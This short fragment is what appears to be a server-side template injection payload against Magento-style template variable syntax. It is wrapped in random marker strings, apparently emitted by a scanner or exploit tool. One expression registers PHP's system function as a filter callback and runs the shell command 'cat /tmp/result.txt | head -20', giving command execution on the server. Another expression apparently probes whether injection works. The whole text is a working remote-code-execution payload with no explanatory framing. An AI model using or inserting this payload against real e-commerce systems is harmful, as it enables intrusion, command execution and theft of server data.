set2qRoHTaYbU4LjErWPGSWXPDa2v50t{{var this.getTemplateFilter().filter(foobar)}}set2qRoHTaYbU4LjErWPGSWXPDa2v50tset2qRoHTaYbU4LjErWPGSWXPDa2v50t{{var this.getTemplateFilter().addAfterFilterCallback(system).filter('cat /tmp/result.txt | head -20')}}set2qRoHTaYbU4LjErWPGSWXPDa2v50t